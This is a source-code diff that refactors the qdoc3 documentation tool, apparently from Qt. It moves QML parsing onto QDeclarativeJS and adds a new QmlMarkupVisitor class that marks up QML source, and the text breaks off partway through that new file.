tools/qdoc3/cppcodemarker.cpp | 1 - tools/qdoc3/cppcodemarker.h | 56 +- tools/qdoc3/ditaxmlgenerator.cpp | 4 +- tools/qdoc3/ditaxmlgenerator.h | 2 +- tools/qdoc3/generator.h | 2 +- tools/qdoc3/htmlgenerator.cpp | 26 +- tools/qdoc3/htmlgenerator.h | 5 +- tools/qdoc3/main.cpp | 12 +- tools/qdoc3/node.cpp | 1 - tools/qdoc3/pagegenerator.cpp | 14 +- tools/qdoc3/pagegenerator.h | 4 +- tools/qdoc3/qdoc3.pro | 9 +- tools/qdoc3/qmlcodeparser.cpp | 18 +- tools/qdoc3/qmlcodeparser.h | 12 +- tools/qdoc3/qmlmarkupvisitor.cpp | 1415 ++++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlmarkupvisitor.h | 338 +++++++++ tools/qdoc3/qmlvisitor.cpp | 48 +- tools/qdoc3/qmlvisitor.h | 36 +- 18 files changed, 1877 insertions(+), 126 deletions(-) create mode 100644 tools/qdoc3/qmlmarkupvisitor.cpp create mode 100644 tools/qdoc3/qmlmarkupvisitor.h diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 576d103..55a455f 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -43,7 +43,6 @@ cppcodemarker.cpp */ -#include #include "atom.h" #include "cppcodemarker.h" #include "node.h" diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index 804a302..40695c5 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -56,36 +56,36 @@ class CppCodeMarker : public CodeMarker CppCodeMarker(); ~CppCodeMarker(); - bool recognizeCode(const QString& code); - bool recognizeExtension(const QString& ext); - bool recognizeLanguage(const QString& lang); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode(const QString& code, - const Node *relative, - const QString& dirPath); - QString markedUpSynopsis(const Node *node, - const Node *relative, - SynopsisStyle style); + virtual bool recognizeCode(const QString& code); + virtual bool recognizeExtension(const QString& ext); + virtual bool recognizeLanguage(const QString& lang); + virtual QString plainName(const Node *node); + virtual QString plainFullName(const Node *node, const Node *relative); + virtual QString markedUpCode(const QString& code, + const Node *relative, + const QString& dirPath); + virtual QString markedUpSynopsis(const Node *node, + const Node *relative, + SynopsisStyle style); #ifdef QDOC_QML - QString markedUpQmlItem(const Node *node, bool summary); + virtual QString markedUpQmlItem(const Node *node, bool summary); #endif - QString markedUpName(const Node *node); - QString markedUpFullName(const Node *node, const Node *relative); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes(const QStringList& includes); - QString functionBeginRegExp(const QString& funcName); - QString functionEndRegExp(const QString& funcName); - QList
    sections(const InnerNode *innerNode, - SynopsisStyle style, - Status status); - QList
    qmlSections(const QmlClassNode* qmlClassNode, - SynopsisStyle style, - const Tree* tree); - const Node* resolveTarget(const QString& target, - const Tree* tree, - const Node* relative, - const Node* self = 0); + virtual QString markedUpName(const Node *node); + virtual QString markedUpFullName(const Node *node, const Node *relative); + virtual QString markedUpEnumValue(const QString &enumValue, const Node *relative); + virtual QString markedUpIncludes(const QStringList& includes); + virtual QString functionBeginRegExp(const QString& funcName); + virtual QString functionEndRegExp(const QString& funcName); + virtual QList
    sections(const InnerNode *innerNode, + SynopsisStyle style, + Status status); + virtual QList
    qmlSections(const QmlClassNode* qmlClassNode, + SynopsisStyle style, + const Tree* tree); + virtual const Node* resolveTarget(const QString& target, + const Tree* tree, + const Node* relative, + const Node* self = 0); private: QString addMarkUp(const QString& protectedCode, diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index ce597f2..1014f79 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -533,7 +533,7 @@ QString DitaXmlGenerator::lookupGuid(QString text) \note The file generation is done in the base class, PageGenerator::generateTree(). */ -void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void DitaXmlGenerator::generateTree(const Tree *tree) { myTree = tree; nonCompatClasses.clear(); @@ -552,7 +552,7 @@ void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) findAllNamespaces(tree->root()); findAllSince(tree->root()); - PageGenerator::generateTree(tree, marker); + PageGenerator::generateTree(tree); } void DitaXmlGenerator::startText(const Node* /* relative */, diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 36bd990..a29df77 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -91,7 +91,7 @@ class DitaXmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree *tree); QString protectEnc(const QString &string); static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index 326a247..18c3855 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -78,7 +78,7 @@ class Generator virtual void terminateGenerator(); virtual QString format() = 0; virtual bool canHandleFormat(const QString &format) { return format == this->format(); } - virtual void generateTree(const Tree *tree, CodeMarker *marker) = 0; + virtual void generateTree(const Tree *tree) = 0; static void initialize(const Config& config); static void terminate(); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 3f76204..9f5f182 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -217,9 +217,9 @@ HtmlGenerator::HtmlGenerator() threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), myTree(0), + inObsoleteLink(false), slow(false), - obsoleteLinks(false), - inObsoleteLink(false) + obsoleteLinks(false) { } @@ -356,7 +356,7 @@ QString HtmlGenerator::format() \note The HTML file generation is done in the base class, PageGenerator::generateTree(). */ -void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void HtmlGenerator::generateTree(const Tree *tree) { myTree = tree; nonCompatClasses.clear(); @@ -375,11 +375,11 @@ void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) findAllNamespaces(tree->root()); findAllSince(tree->root()); - PageGenerator::generateTree(tree, marker); + PageGenerator::generateTree(tree); QString fileBase = project.toLower().simplified().replace(" ", "-"); generateIndex(fileBase, projectUrl, projectDescription); - generatePageIndex(outputDir() + "/" + fileBase + ".pageindex", marker); + generatePageIndex(outputDir() + "/" + fileBase + ".pageindex"); helpProjectWriter->generate(myTree); } @@ -2913,18 +2913,6 @@ void HtmlGenerator::generateLink(const Atom* atom, } inLink = false; out() << protectEnc(atom->string().mid(k)); - } else if (marker->recognizeLanguage("Java")) { - // hack for Java: remove () and use when appropriate - bool func = atom->string().endsWith("()"); - bool tt = (func || atom->string().contains(camelCase)); - if (tt) - out() << ""; - if (func) { - out() << protectEnc(atom->string().left(atom->string().length() - 2)); - } else { - out() << protectEnc(atom->string()); - } - out() << ""; } else { out() << protectEnc(atom->string()); } @@ -4168,12 +4156,14 @@ void HtmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* n /*! Outputs the file containing the index used for searching the html docs. */ -void HtmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const +void HtmlGenerator::generatePageIndex(const QString& fileName) const { QFile file(fileName); if (!file.open(QFile::WriteOnly | QFile::Text)) return ; + CodeMarker *marker = CodeMarker::markerForFileName(fileName); + QXmlStreamWriter writer(&file); writer.setAutoFormatting(true); writer.writeStartDocument(); diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 547cf2f..4276475 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -92,7 +92,7 @@ class HtmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree *tree); QString protectEnc(const QString &string); static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); @@ -247,8 +247,7 @@ class HtmlGenerator : public PageGenerator void generatePageElements(QXmlStreamWriter& writer, const Node* node, CodeMarker* marker) const; - void generatePageIndex(const QString& fileName, - CodeMarker* marker) const; + void generatePageIndex(const QString& fileName) const; void generateExtractionMark(const Node *node, ExtractionMarkType markType); QMap refMap; diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 2d3f034..ac1c5de 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -55,6 +55,7 @@ #include "htmlgenerator.h" #include "plaincodemarker.h" #include "puredocparser.h" +#include "qmlcodemarker.h" #include "qmlcodeparser.h" #include "tokenizer.h" #include "tree.h" @@ -243,14 +244,6 @@ static void processQdocconfFile(const QString &fileName) Location outputFormatsLocation = config.lastLocation(); /* - There must be a code marker for the source code language, e.g. C++. - If there isn't one, give up. - */ - CodeMarker *marker = CodeMarker::markerForLanguage(lang); - if (!marker && !outputFormats.isEmpty()) - langLocation.fatal(tr("Cannot output documentation for programming language '%1'").arg(lang)); - - /* Read some XML indexes containing definitions from other documentation sets. */ QStringList indexFiles = config.getStringList(CONFIG_INDEXES); @@ -334,7 +327,7 @@ static void processQdocconfFile(const QString &fileName) if (generator == 0) outputFormatsLocation.fatal(tr("Unknown output format '%1'") .arg(*of)); - generator->generateTree(tree, marker); + generator->generateTree(tree); ++of; } @@ -390,6 +383,7 @@ int main(int argc, char **argv) */ PlainCodeMarker plainMarker; CppCodeMarker cppMarker; + QmlCodeMarker qmlMarker; HtmlGenerator htmlGenerator; DitaXmlGenerator ditaxmlGenerator; diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index 3e8230c..838bbfb 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -45,7 +45,6 @@ #include "node.h" #include "tree.h" -#include "codemarker.h" #include QT_BEGIN_NAMESPACE diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 37dc191..60b40c9 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -46,6 +46,7 @@ #include #include #include +#include "codemarker.h" #include "pagegenerator.h" #include "tree.h" @@ -175,9 +176,9 @@ bool PageGenerator::parseArg(const QString& src, /*! This function is recursive. */ -void PageGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void PageGenerator::generateTree(const Tree *tree) { - generateInnerNode(tree->root(), marker); + generateInnerNode(tree->root()); } QString PageGenerator::fileBase(const Node *node) const @@ -301,7 +302,7 @@ QTextStream &PageGenerator::out() Recursive writing of html files from the root \a node. */ void -PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) +PageGenerator::generateInnerNode(const InnerNode* node) { if (!node->url().isNull()) return; @@ -320,6 +321,11 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) } } + /* + Obtain a code marker for the source file. + */ + CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath()); + if (node->parent() != 0) { beginSubPage(node->location(), fileName(node)); if (node->type() == Node::Namespace || node->type() == Node::Class) { @@ -334,7 +340,7 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { if ((*c)->isInnerNode() && (*c)->access() != Node::Private) - generateInnerNode((const InnerNode *) *c, marker); + generateInnerNode((const InnerNode *) *c); ++c; } } diff --git a/tools/qdoc3/pagegenerator.h b/tools/qdoc3/pagegenerator.h index 1aa24a1..abb8f1c 100644 --- a/tools/qdoc3/pagegenerator.h +++ b/tools/qdoc3/pagegenerator.h @@ -66,7 +66,7 @@ class PageGenerator : public Generator PageGenerator(); ~PageGenerator(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree *tree); protected: virtual QString fileBase(const Node *node) const; @@ -75,7 +75,7 @@ class PageGenerator : public Generator QString outFileName(); void beginSubPage(const Location& location, const QString& fileName); void endSubPage(); - virtual void generateInnerNode(const InnerNode *node, CodeMarker *marker); + virtual void generateInnerNode(const InnerNode *node); QTextStream& out(); QString naturalLanguage; diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 2c91a9c..23ff7bd 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -43,7 +43,9 @@ HEADERS += atom.h \ pagegenerator.h \ plaincodemarker.h \ puredocparser.h \ + qmlcodemarker.h \ qmlcodeparser.h \ + qmlmarkupvisitor.h \ qmlvisitor.h \ quoter.h \ separator.h \ @@ -71,7 +73,9 @@ SOURCES += atom.cpp \ pagegenerator.cpp \ plaincodemarker.cpp \ puredocparser.cpp \ + qmlcodemarker.cpp \ qmlcodeparser.cpp \ + qmlmarkupvisitor.cpp \ qmlvisitor.cpp \ quoter.cpp \ separator.cpp \ @@ -80,10 +84,9 @@ SOURCES += atom.cpp \ tree.cpp \ yyindent.cpp -# Include the QML parsing library from Qt Creator. +INCLUDEPATH += $$(QT_BUILD_TREE)/include/QtDeclarative -LIBS += -L$$(QTCREATOR_LIBPATH) -lQmlJS -lUtils -INCLUDEPATH += $$(QTCREATOR_INCPATH) +include($$(QT_SOURCE_TREE)/src/declarative/qml/parser/parser.pri) ### Documentation for qdoc3 ### diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp index c6ace7d..329912c 100644 --- a/tools/qdoc3/qmlcodeparser.cpp +++ b/tools/qdoc3/qmlcodeparser.cpp @@ -43,9 +43,9 @@ qmlcodeparser.cpp */ -#include "parser/qmljsast_p.h" -#include "parser/qmljsastvisitor_p.h" -#include "parser/qmljsnodepool_p.h" +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastvisitor_p.h" +#include "private/qdeclarativejsnodepool_p.h" #include "qmlcodeparser.h" #include "node.h" @@ -84,8 +84,8 @@ void QmlCodeParser::initializeParser(const Config &config) { CodeParser::initializeParser(config); - lexer = new QmlJS::Lexer(&engine); - parser = new QmlJS::Parser(&engine); + lexer = new QDeclarativeJS::Lexer(&engine); + parser = new QDeclarativeJS::Parser(&engine); } void QmlCodeParser::terminateParser() @@ -125,12 +125,12 @@ void QmlCodeParser::parseSourceFile(const Location& location, QSet metacommandsAllowed = topicCommandsAllowed + otherMetacommandsAllowed; - QmlJS::NodePool m_nodePool(filePath, &engine); + QDeclarativeJS::NodePool m_nodePool(filePath, &engine); if (parser->parse()) { - QmlJS::AST::UiProgram *ast = parser->ast(); - DocVisitor visitor(filePath, document, &engine, tree, metacommandsAllowed); - QmlJS::AST::Node::accept(ast, &visitor); + QDeclarativeJS::AST::UiProgram *ast = parser->ast(); + QmlDocVisitor visitor(filePath, document, &engine, tree, metacommandsAllowed); + QDeclarativeJS::AST::Node::accept(ast, &visitor); } } diff --git a/tools/qdoc3/qmlcodeparser.h b/tools/qdoc3/qmlcodeparser.h index f6d6684..a99e8a3 100644 --- a/tools/qdoc3/qmlcodeparser.h +++ b/tools/qdoc3/qmlcodeparser.h @@ -47,9 +47,9 @@ #define QMLCODEPARSER_H #include -#include "parser/qmljsengine_p.h" -#include "parser/qmljslexer_p.h" -#include "parser/qmljsparser_p.h" +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsparser_p.h" #include "codeparser.h" #include "location.h" @@ -80,9 +80,9 @@ protected: virtual QSet otherMetaCommands(); private: - QmlJS::Engine engine; - QmlJS::Lexer *lexer; - QmlJS::Parser *parser; + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer *lexer; + QDeclarativeJS::Parser *parser; }; QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp new file mode 100644 index 0000000..72a2334 --- /dev/null +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -0,0 +1,1415 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" + +#include "qmlmarkupvisitor.h" + +QT_BEGIN_NAMESPACE + +QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, bool debug) +{ + this->source = source; + indent = 0; + cursor = 0; + showDebug = debug; +} + +QmlMarkupVisitor::~QmlMarkupVisitor() +{ +} + +QString QmlMarkupVisitor::markedUpCode() +{ + if (cursor < source.length()) + return output + source.mid(cursor); + else + return output; +} + +void QmlMarkupVisitor::addMarkedUpToken( + QDeclarativeJS::AST::SourceLocation &location, const QString &text) +{ + //qDebug() << "t**" << cursor << location.offset; + if (location.offset > cursor) { + QString extra = source.mid(cursor, location.offset - cursor); + if (extra.trimmed().isEmpty()) + output += extra; + else + output += "<<<" + extra + ">>>"; + //qDebug() << "+++" << source.mid(cursor, location.offset - cursor); + cursor += location.offset; + } + + //qDebug() << "-->" << text; + output += text; + cursor += location.length; +} + +QString QmlMarkupVisitor::sourceText(QDeclarativeJS::AST::SourceLocation &location) +{ + return source.mid(location.offset, location.length); +} + +void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, + QDeclarativeJS::AST::SourceLocation last) +{ + quint32 start = first.begin(); + //qDebug() << "v**" << cursor << start; + quint32 finish; + if (last.isValid()) + finish = last.end(); + else + finish = first.end(); + + if (start > cursor) { + QString extra = source.mid(cursor, start - cursor); + if (extra.trimmed().isEmpty()) + output += extra; + else + output += "<<<" + extra + ">>>"; + //qDebug() << "+++" << source.mid(cursor, start - cursor); + cursor = start; + } + + QString text = source.mid(start, finish - start); + //qDebug() << "-->" << text; + write(text); + indent -= 1; + output += text; + cursor += text.length(); +} + +void QmlMarkupVisitor::write(const QString &text) +{ + if (showDebug) + qDebug() << QString().fill(QChar(' '), indent) << text; + indent += 1; +} + +void QmlMarkupVisitor::endWrite(const QString &) +{ + indent -= 1; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiProgram *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiProgram *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) +{ + write(""); + addVerbatim(uiimport->importToken); + if (!uiimport->importUri) + addVerbatim(uiimport->fileNameToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) +{ + endWrite(""); + addVerbatim(uiimport->versionToken); + addVerbatim(uiimport->asToken); + addVerbatim(uiimport->importIdToken); + addVerbatim(uiimport->semicolonToken); + //endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) +{ + write(""); + if (member->type == QDeclarativeJS::AST::UiPublicMember::Property) { + addVerbatim(member->defaultToken); + addVerbatim(member->readonlyToken); + addVerbatim(member->propertyToken); + addVerbatim(member->typeModifierToken); + addVerbatim(member->typeToken); + addVerbatim(member->identifierToken); + addVerbatim(member->colonToken); + QDeclarativeJS::AST::Node::accept(member->binding, this); + } else { + addVerbatim(member->propertyToken); + addVerbatim(member->typeModifierToken); + addVerbatim(member->typeToken); + //addVerbatim(member->identifierToken); + QDeclarativeJS::AST::Node::accept(member->parameters, this); + } + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *member) +{ + addVerbatim(member->semicolonToken); + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSourceElement *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSourceElement *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiParameterList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiParameterList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer) +{ + write(""); + addVerbatim(initializer->lbraceToken, initializer->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectInitializer *initializer) +{ + endWrite(""); + addVerbatim(initializer->rbraceToken, initializer->rbraceToken); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) +{ + write(""); + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + QDeclarativeJS::AST::Node::accept(binding->qualifiedTypeNameId, this); + QDeclarativeJS::AST::Node::accept(binding->initializer, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectBinding *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) +{ + write(""); + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + QDeclarativeJS::AST::Node::accept(binding->statement, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiScriptBinding *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) +{ + write(""); + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + addVerbatim(binding->lbracketToken); + QDeclarativeJS::AST::Node::accept(binding->members, this); + addVerbatim(binding->rbracketToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayBinding *formal) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) +{ + write(""); + for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->member, this); + addVerbatim(it->commaToken); + } + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayMemberList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) +{ + write(""); + addVerbatim(id->identifierToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiQualifiedId *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) +{ + write(""); + addVerbatim(signature->lparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature) +{ + addVerbatim(signature->rparenToken); + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) +{ + write(""); + addVerbatim(formal->identifierToken); + addVerbatim(formal->asToken); + addVerbatim(formal->aliasToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormal *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression) +{ + write(""); + addVerbatim(expression->thisToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThisExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) +{ + write(""); + addVerbatim(identifier->identifierToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) +{ + write(""); + addVerbatim(null->nullToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NullExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) +{ + write(""); + addVerbatim(literal->trueToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TrueLiteral *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) +{ + write(""); + addVerbatim(literal->falseToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FalseLiteral *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) +{ + //write(""); + addVerbatim(literal->literalToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) +{ + //endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) +{ + //write(""); + addVerbatim(literal->literalToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteral *) +{ + //endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal) +{ + write(""); + addVerbatim(literal->literalToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::RegExpLiteral *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) +{ + write(""); + addVerbatim(literal->lbracketToken); + QDeclarativeJS::AST::Node::accept(literal->elements, this); + addVerbatim(literal->rbracketToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayLiteral *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) +{ + write(""); + addVerbatim(literal->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ObjectLiteral *literal) +{ + addVerbatim(literal->rbraceToken); + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) +{ + write(""); + for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->expression, this); + addVerbatim(it->commaToken); + } + QDeclarativeJS::AST::Node::accept(list->elision, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ElementList *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision) +{ + write(""); + addVerbatim(elision->commaToken, elision->commaToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Elision *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierPropertyName *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteralPropertyName *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteralPropertyName *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list) +{ + write(""); + QDeclarativeJS::AST::Node::accept(list->name, this); + addVerbatim(list->colonToken, list->colonToken); + QDeclarativeJS::AST::Node::accept(list->value, this); + addVerbatim(list->commaToken, list->commaToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NestedExpression *expression) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NestedExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression) +{ + write(""); + QDeclarativeJS::AST::Node::accept(expression->base, this); + addVerbatim(expression->lbracketToken); + QDeclarativeJS::AST::Node::accept(expression->expression, this); + addVerbatim(expression->rbracketToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayMemberExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression) +{ + write(""); + QDeclarativeJS::AST::Node::accept(expression->base, this); + addVerbatim(expression->dotToken); + addVerbatim(expression->identifierToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FieldMemberExpression *expression) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression) +{ + write(""); + addVerbatim(expression->newToken); + 